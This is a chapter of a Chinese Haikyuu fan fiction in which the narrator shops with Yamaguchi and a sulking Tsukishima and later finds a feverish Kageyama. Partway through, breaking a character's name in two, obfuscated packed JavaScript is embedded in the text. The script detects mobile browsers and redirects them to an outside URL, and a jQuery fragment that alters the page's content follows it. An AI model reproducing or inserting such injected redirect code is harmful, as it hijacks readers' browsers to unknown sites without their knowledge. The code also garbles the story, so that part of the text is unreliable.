6. 六条鱼

作品:《我的死对头影山飞鱼

    我还是给自己剪了个刘海。


    倒不是怕在外面的时候被人看到额头红肿,而是我在家的时间居多,偶尔走过玻璃前,或者是走过镜子前,我习惯性从里头看自己的时候,就会下意识被额头上那一片红色吸引注意。


    它之后还会变成青色,变成紫色,比现在还要难看。


    丑到别人也就算了,我自己平常也要看我自己的。


    于是我几剪刀下去,给自己干脆利落地剪了一个门帘。


    看着镜子里斜得有些离谱的刘海,我沉默了一会儿,选择自欺欺人地无视。


    ……不管怎么说,总比红糖馒头好看。


    就这样过了几天,我的额头果然青了一块,不过几乎已经感觉不到疼痛,是在往好的方面愈合的,我也没有太放在心上,都是小事情。


    倒是山口忠一直对带我出去看比赛,最后却让我受伤回家这件事耿耿于怀,线上每天都会关心我的状态,并总是在表达歉意。


    我哪里会怪他,只是我发出去的“没关系”似乎对他来说作用不大,他依旧十分在意。


    思量之下,我还是挑了个时间约他出门,拜托他陪我去买点过新年要用的东西。


    山口忠对我的主动邀约多少有些受宠若惊,他很高兴能帮上我的忙,并在第二天就兴冲冲地跑到了我家门口,手上还拎着山口阿姨今天新鲜出炉的布丁和羊羹。


    最后一次尝到山口阿姨的手艺还是两年前山口给我邮寄的樱饼。


    我很高兴他能带着这些小甜点来见我,同时我也有些犹豫要不要请他先进屋喝杯茶。


    像是看出了我的迟疑,山口忠站在门外,脸上露出一个笑容,说道:“不用麻烦,我就不进去了,待会儿不是还要再出门吗?你把这些放好在冰箱就行,我在门口等你。”


    我点点头,快步把他带来的甜点塞进冰箱,然后拎起放在沙发上的围脖,很是随意地围在脖子上,确认自己行头没有不妥之处,连忙关上大门,来到山口忠身边。


    冬天的冷空气十分恐怖。


    他只是在外面站了几分钟,鼻头就红红的。


    少年并不在意,只是和我并肩往前走,顺嘴问我一句:“阿月自己一个人先去商场了吗?”


    “嗯?”我微微侧头:“我没喊他。”


    山口忠:“!”


    他顿时目瞪口呆地看着我,脚步都慢下来:“没、没喊他?只有我们两个吗?真的假的?你确定吗?”


    我双手环胸,“谁让他嘲笑我,如果被他看到我真的给自己剪了头发,指不定会笑得多大声呢。”


    山口忠一时语塞,他梗了梗,又道:“但是如果被阿月发现我们两个出去逛街没喊他的话,他会生气的。”


    我一时间也有些哽住。


    想象了一下月岛萤从第一阶段面无表情对我发起冷嘲热讽,到第二阶段用嘲笑的表情对我发起冷嘲热讽,再到第三阶段冷漠地盯着我当着我的面给我拉黑的全过程,我默默掏出手机,给月岛萤发消息,请求他出来陪我买东西。


    当然我没说山口忠已经在我身边这件事。


    那边迟迟没有回消息,我和山口忠对视一眼,又给他打了个电话。


    就在电话接通的那一瞬间,我和山口忠转过前面的路口,刚好就碰到了手上举着手机,也准备转弯的月岛萤。


    我们开始沉默地对视。


    月岛萤:“……?”


    他面无表情地挂断电话,同时在屏幕上看见了我给他发的邀约消息,表情逐渐冷凝,视线在山口忠身上转了一圈,最后定格在我身上。


    山口忠顿时浑身僵硬。


    我的额头上也冒出了冷汗,和他对视半晌,露出一个干巴巴的笑容,主动对他打招呼:“好巧啊,阿月,居然在这里碰到你,哈哈哈哈,哈哈哈哈哈。”


    月岛萤没有说话,只是冷漠地盯着我看。


    然后我就闭上了嘴,静待他骂我。


    “出去陪我买点东西吗。”他语调毫无起伏,一字一句地念着我给他发的消息:“我还叫了小忠一起哦,商城门口见。”


    我:“……”


    汗流浃背。


    “不是‘叫了小忠一起’,是‘和小忠一起’吧。”他说:“你在欲盖弥彰什么。”


    “我……”我是怕你多想啦。


    “以为我知道你们两个单独见面却把我抛下之后我会很生气吗?”他说:“其实你想多了,我完全不会生气。”


    “你……”你现在就在生气啊=A=


    “少在这里自以为是了,我怎么可能会在意这种小事。”


    “可你……”可你一副很在意的样子诶。


    “哈,说到底你这三年一次都没有回来过也一次都没有联系过我,早就已经不了解我了吧。”


    “……”


    我又闭上了嘴。


    山口忠伸出手,企图为我辩解:“阿月,不是你想的那样,是我……”


    月岛萤冷漠地看他:“一丘之貉。”


    山口忠:“……”


    因为我和山口忠都闭上了嘴巴,月岛萤俯视了我们两个几秒,然后蹙起眉头,别过头,说:“我要走了,不要管我。”


    读作:不要管我。


    写作:敢不管我就绝交。


    我暗道不妙,一把抓住了他的手腕。


    月岛萤比我的力气大很多,他只要稍微挣扎就能把我的手甩掉,但少年只是象征性地甩了甩手,随即冷哼一声,面色不善地斜眼看我。


    “请你吃草莓蛋糕!”我十分真诚地对他说:“请你吃一整个草莓蛋糕,别生气。”


    月岛萤:“……哼。”


    又冷哼了一声,一副不想理我的样子,但没有转头就走,还是和我们走在了一起。


    在我和山口忠坚持不懈的骚扰下,月岛萤还是不情不愿地坦白,上次月岛阿姨知道我被球砸了,一直就很担心我会不会有事,催着月岛萤过来探望我。


    原本他是想问问我情况的,但他就是一个越催越抗拒的反骨仔,直到今天才磨磨蹭蹭地出门。


    我太懂他了,他绝对是不好意思和我说要来找我,打算装作路过我家,“顺便”看一眼我,稍微说几句话就回去复命的。


    不过今天也太凑巧了,他不会是听小忠说我差不多好了,想着再不来看我我就痊愈了,所以才拖到现在的吧?


    我摸摸下巴,狐疑地盯着他的背影看。


    越想越有可能。


    ……算了,不管怎样,被他碰见“孤立现场”,他这种敏感的性格会不高兴很正常,我还是哄哄吧,谁让我是姐姐呢。


    于是,我真的兑现了我的承诺,联系我常去的那家连锁蛋糕店,加急给他定制了一个六寸的草莓蛋糕。


    等我们逛完街,把该买的东西买完,蛋糕刚好做完,月岛萤没想到我说的居然是真的,在蛋糕到手的那一刻,别别扭扭地撇了撇嘴,声音很小地和我道了谢。


    站在分别的三岔路口,有夕阳从他身后照过来,将他的轮廓都染上暗色的橙红。


    “不用和我客气,阿月别生我的气就好啦。”我从两个少年手里接过两大袋东西,山口忠见我受伤已经提满了,但还有两袋东西在他们手上,于是提议道:“小桃,我们还是送你回去吧,你手上的已经够重了,还有很多没拿完呢。”


    “那些是给你们和叔叔阿姨们的新年礼物。”我说:“以后不知道要怎么麻烦你们呢,特殊的日子就让我稍微讨好一下吧~”


    山口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551570|171240||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    忠愣了愣:“这些都是吗?诶,反正到时候也要再见面,现在就送吗?”


    月岛萤也微微蹙着眉:“过几天就是大晦日,我妈还说要邀请你和桃沢阿姨晚上来家里吃饭的,你这个意思是,不来了?”


    “啊……今年我妈应该不会来宫城,她有事呢。”


    “那不是只有你一个人?更要过来了啊。”


    我有些为难地用食指挠了挠脸颊:“这个的话……”


    后面的话不说月岛萤也能明白意思。


    他冷嘁了一声,转身就走:“随便你。”


    “啊,阿月。”山口忠喊了他一句,见他没有停下来的意思,无奈地叹了口气,又对我说:“别把他的态度放在心上,阿月只是在闹别扭。小桃,如果觉得一个人在家很无聊,可以随时喊我们出来走走。”


    我点点头,和他道了谢。


    袋子里全都是一些我想用来布置房间的装饰物和轻飘飘的零食,回去的路程也并不长,我一个人拎着并不觉得费力。


    只不过从街头到家里要经过一位并不能算作是朋友的影山姓男士的门前,因为是认识的人所在的地方,我下意识会用余光往那边瞟一眼。


    结果这一看,给我吓一跳。


    他家的院门虚虚地掩着,而人正在扶着房门门框,低垂着脑袋,恹恹地往里头挪,感觉下一秒就要栽在地上,要倒不倒的。


    “喂!”


    我简直吓一跳,连忙将手里的塑料袋放在他家院门口,拉门进去,几步上前扶住了影山的肩膀。


    这次他好歹穿着毛衣,比上次穿的要厚实,不过因为刚运动过,摸上去有些潮湿,衣服表层微凉,但指尖不小心划过的颈部附近的皮肤却温度略高。


    发烧了啊,这是。


    影山的反应比平常慢半拍,他后知后觉侧头看了我一眼,勉强站直一些,说:“是你啊,为什么会在这里?”


    “我刚从外面回来,路过的时候见你状态不好,怕你死在家门口就过来看看。”我说到这里一顿,还在记他上次说我坏话的仇,于是很恶劣地嘲笑他:“每次运动完都不及时穿衣服,着凉了吧,你在发烧哦,运动笨蛋。”


    他按了按隐隐作痛的太阳穴,面色严肃地看着我,长呼出一口气,反驳我:“我不是笨蛋。”


    “……”


    被冷空气冷却下来的吐息喷洒在我的鼻尖,有些措不急防。


    我的内心简直翻起惊涛骇浪,直接松开了扶着他的手,少年又重新跌回门框边,踉跄一步稳住身体,迷茫地看着我。


    他看我也是一脸震惊,迷茫更甚,问我:“怎么?”


    我指他:“你知道你在发烧吗?”


    “啊……原来我在发烧吗?”


    我忍了忍,又说:“你不舒服的时候别朝人吐气啊!”


    少年陷入了深思,他觉得他刚刚并没有朝人吐气,但是比起这个,他现在有点好奇为什么不能朝人吐气。


    我回答:“你莫非真是笨蛋?感冒可以通过飞沫和呼吸传播,你这哪是在呼吸?你是在传播病毒!”


    影山:“!这、这么严重吗!”


    震惊之余,他试着憋气,但是他最多憋几分钟,于是他摇摇头:“抱歉,我做不到一直不呼吸。”


    我两眼一闭。


    我没有让他不呼吸,我只是让他别在感冒的时候对着别人咳嗽和呼吸。


    这种人居然是二传啊。


    好想骂他。


    但是我和他不熟,还是别骂了吧。


    幸好他以后要去白鸟泽高校,不会跑去和阿月小忠一起打排球。


    真好,闺闺们。


    你们的二传一定是一个聪明又厉害的家伙,白鸟泽摊上这个二传,他们是完了。